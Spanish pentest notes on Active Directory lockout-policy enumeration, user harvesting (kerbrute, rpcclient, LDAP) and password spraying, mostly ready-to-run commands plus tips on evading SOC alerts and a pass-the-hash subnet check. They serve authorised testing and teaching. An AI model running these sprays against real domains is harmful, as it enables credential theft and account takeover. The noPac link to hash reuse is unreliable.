Hunting for a User — Password Policy & Spraying
Por qué enumerar la política de contraseñas primero
Antes de intentar cualquier fuerza bruta o password spraying contra cuentas de dominio, es indispensable conocer la política de bloqueo de cuentas (lockoutThreshold, número de intentos fallidos permitidos antes de bloquear una cuenta). Lanzar un spray sin esta información puede bloquear masivamente cuentas de usuarios legítimos, generando una interrupción real del negocio (y alertando al equipo defensor) — es uno de los errores más comunes y evitables en esta fase.
Enumeración de la política de contraseñas
Desde Linux
Con credenciales válidas, usando CrackMapExec/NetExec:
❯ crackmapexec smb 172.16.5.5 -u mgarcia -p Password123 --pass-polEquivalente con NetExec (sucesor de CrackMapExec, ver smb.md):
❯ nxc smb 172.16.5.5 -u mgarcia -p Password123 --pass-polSin credenciales, vía sesión nula con rpcclient:
❯ rpcclient -U "" -N 172.16.5.5
rpcclient $> querydominfo
rpcclient $> getdompwinfo
rpcclient $> enumdomusersquerydominfo: muestra información general del dominio, incluyendo número total de usuarios/grupos.getdompwinfo: muestra específicamente la política de contraseñas (longitud mínima, complejidad).- Que estos comandos funcionen sin credenciales (
-U "" -N, sesión nula) es en sí mismo un hallazgo de configuración débil a documentar.
Con enum4linux:
❯ enum4linux -P 172.16.5.5Con enum4linux-ng (salida más limpia y estructurada, exportable a varios formatos):
❯ enum4linux-ng -P 172.16.5.5 -oA empresacorp-oA: exporta la salida en todos los formatos disponibles (YAML, JSON) con el prefijo indicado, útil para procesar los resultados con otras herramientas después.
Vía sesión LDAP anónima (si el bind anónimo está permitido — otro hallazgo de configuración débil por sí mismo):
❯ ldapsearch -H ldap://172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLengthInterpretando los atributos LDAP de la política
| Atributo | Significado |
|---|---|
lockoutThreshold | Número de intentos fallidos antes de bloquear la cuenta. 0 significa que el bloqueo está deshabilitado — luz verde para fuerza bruta más agresiva. |
lockoutDuration | Cuánto tiempo permanece bloqueada la cuenta tras alcanzar el umbral. |
lockOutObservationWindow | Ventana de tiempo en la que se cuentan los intentos fallidos — si el contador se resetea cada 30 min y el umbral es 5, se pueden hacer hasta 4 intentos cada 30 min de forma indefinida sin bloquear nunca. |
minPwdLength | Longitud mínima de contraseña exigida por política — informa qué tan efectivo será un diccionario de contraseñas cortas. |
pwdHistoryLength | Cuántas contraseñas anteriores recuerda el sistema (relevante si se sospecha que los usuarios reciclan contraseñas con pequeñas variaciones). |
Sesión nula desde Windows
C:\> net use \\DC01\ipc$ "" /u:""Errores útiles para reconocimiento de estado de cuentas al intentar autenticación (incluso fallida):
| Código de error | Significado |
|---|---|
System error 1331 | La cuenta está deshabilitada. |
System error 1326 | Contraseña incorrecta (la cuenta existe y está activa). |
System error 1909 | La cuenta está bloqueada. |
- Estos códigos permiten diferenciar, durante un spray, entre "contraseña incorrecta" (seguir intentando con otras contraseñas) y "cuenta bloqueada/deshabilitada" (excluir esa cuenta del resto del ataque para no seguir generando ruido innecesario).
Desde Windows — herramientas nativas/PowerView
C:\> net accountsCon PowerView (más detallado, incluye directamente los atributos LDAP relevantes):
Import-Module .\PowerView.ps1
Get-DomainPolicySalida esperada (fragmento relevante):
SystemAccess KerberosPolicy
------------- --------------
MinimumPasswordAge : 1
MaximumPasswordAge : 42
MinimumPasswordLength : 7
PasswordComplexity : 1
LockoutBadCount : 5
ResetLockoutCount : 30
LockoutDuration : 30LockoutBadCount: 5conResetLockoutCount: 30(minutos) es la política de referencia a usar para calcular el ritmo seguro del spray: máximo 4 intentos por cuenta cada 30 minutos, dejando un margen de seguridad de un intento respecto al umbral real.
Construir una lista de usuarios válidos
Vía SMB/RPC (sin autenticación)
❯ enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"❯ rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusersCon CrackMapExec/NetExec
❯ crackmapexec smb 172.16.5.5 --usersCon credenciales de una cuenta ya válida (obtiene más detalle, como fecha del último login):
❯ crackmapexec smb 172.16.5.5 -u jsmith -p 'Password123!' --usersVía LDAP anónimo
❯ ldapsearch -h 172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "windapsearch
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -UKerbrute — validación sin generar eventos de login fallido
Kerbrute abusa de la fase de pre-autenticación de Kerberos para validar si un nombre de usuario existe, sin llegar a intentar autenticación completa — esto es clave porque un intento de pre-autenticación fallido por usuario inexistente genera un tipo de evento distinto (y mucho menos monitoreado en la práctica) que un fallo de contraseña sobre un usuario real:
# Enumerar usuarios y guardar el resultado en un archivo
❯ kerbrute userenum -d EMPRESACORP.LOCAL --dc 172.16.5.5 usuarios_candidatos.txt -o valid_users.txt
# Sin archivo de salida (solo por pantalla)
❯ kerbrute userenum -d empresacorp.local --dc 172.16.5.5 /opt/usuarios_candidatos.txt- Si Kerbrute encuentra un usuario configurado sin requerir pre-autenticación (
Do not require Kerberos preauthenticationhabilitado en la cuenta — una configuración débil común), vuelca automáticamente el AS-REP de esa cuenta, que puede crackearse offline (AS-REP Roasting) sin haber enviado ni un solo intento de contraseña.
Fuentes de nombres de usuario candidatos
Cuando no se dispone de una lista previa de usuarios reales, generar candidatos plausibles a partir de patrones comunes de nomenclatura corporativa (nombre.apellido, inicial+apellido, etc.):
- statistically-likely-usernames — genera variantes de nombre de usuario a partir de nombres/apellidos reales (obtenidos por OSINT, ver
ad_initial_enumeration.md). - linkedin2username — extrae nombres de empleados directamente desde el perfil de LinkedIn de la organización objetivo y genera variantes de username.
Password Spraying
Password spraying prueba una contraseña (o un pequeño conjunto) contra muchos usuarios, respetando siempre el umbral de bloqueo calculado en la primera sección — la contraparte segura de la fuerza bruta tradicional (muchas contraseñas contra un solo usuario, que sí dispara bloqueos rápidamente).
Desde Linux
Bash one-liner con rpcclient (útil como método sin dependencias adicionales, aunque más lento que las herramientas dedicadas):
❯ for u in $(cat valid_users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; doneCon Kerbrute (más rápido, aprovecha el mismo mecanismo de pre-autenticación Kerberos):
❯ kerbrute passwordspray -d empresacorp.local --dc 172.16.5.5 valid_users.txt Welcome1Con CrackMapExec, probando la misma contraseña contra toda la lista de usuarios:
❯ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +grep +: CME marca los intentos exitosos con un[+]al inicio de la línea — filtrar por esto muestra solo las credenciales válidas encontradas, ocultando el ruido de los cientos de intentos fallidos.
Con NetExec (sintaxis equivalente, sucesor de CME):
❯ nxc smb 172.16.5.5 -u valid_users.txt -p Password123 --continue-on-success--continue-on-success: indispensable en spraying — sin este flag, algunas versiones detienen el ataque en el primer usuario válido encontrado, cuando en realidad se busca encontrar todas las cuentas que coincidan con esa contraseña común.
Verificar una credencial puntual ya obtenida:
❯ sudo crackmapexec smb 172.16.5.5 -u mgarcia -p Password123Validar si un hash de administrador local (obtenido por otro medio, por ejemplo secretsdump.py) se reutiliza en toda una subred — un patrón extremadamente común cuando las máquinas se despliegan desde la misma imagen base sin randomizar la contraseña de administrador local:
❯ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +--local-auth: indica que la autenticación es contra la cuenta local de cada máquina (SAM local), no contra el dominio — necesario porque el mismo nombreadministratory hash pueden ser válidos en decenas de hosts simultáneamente si comparten imagen base (relevante para la técnica conocida como "Pass-the-Hash a escala", relacionada con vulnerabilidades como CVE-2021-42287/noPac o simplemente mala higiene operativa).
Desde Windows — DomainPasswordSpray.ps1
- Repositorio: https://github.com/dafthack/DomainPasswordSpray
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue- Construye automáticamente la lista de usuarios consultando el dominio actual (no requiere una lista pre-generada), y respeta la política de bloqueo detectada automáticamente, deteniéndose antes de arriesgar bloqueos — es la opción más "segura por defecto" cuando se opera desde un contexto ya autenticado en el dominio.
Probar una lista de contraseñas comunes en vez de una sola (rotando entre ellas con el intervalo adecuado):
Invoke-DomainPasswordSpray -PasswordList .\passwords.txt -OutFile spray_success -ErrorAction SilentlyContinueNotas de metodología
- Siempre recalcular el ritmo seguro del spray tomando el valor de
lockoutThresholdy dejando al menos un intento de margen (si el umbral es 5, usar máximo 3-4 intentos por cuenta dentro de la ventana de observación). - Priorizar contraseñas estacionales/corporativas plausibles sobre diccionarios genéricos como primer intento (
Bienvenido2025!,NombreEmpresa123,Verano2025) — suelen tener mayor tasa de éxito querockyou.txtcompleto en el primer intento de spray, con mucho menor riesgo de bloqueo masivo. - Espaciar los sprays en el tiempo (por ejemplo, un intento por contraseña cada varias horas, o incluso distribuido en varios días) si el alcance del engagement lo permite — además de evitar bloqueos, reduce significativamente la probabilidad de generar alertas de SOC por volumen anómalo de intentos de autenticación en un corto periodo.
- Documentar claramente en el reporte cuál fue el
lockoutThresholdobservado y cómo se calculó el ritmo del ataque, como evidencia de que la prueba se realizó de forma controlada y no arriesgó una interrupción real del servicio para la organización.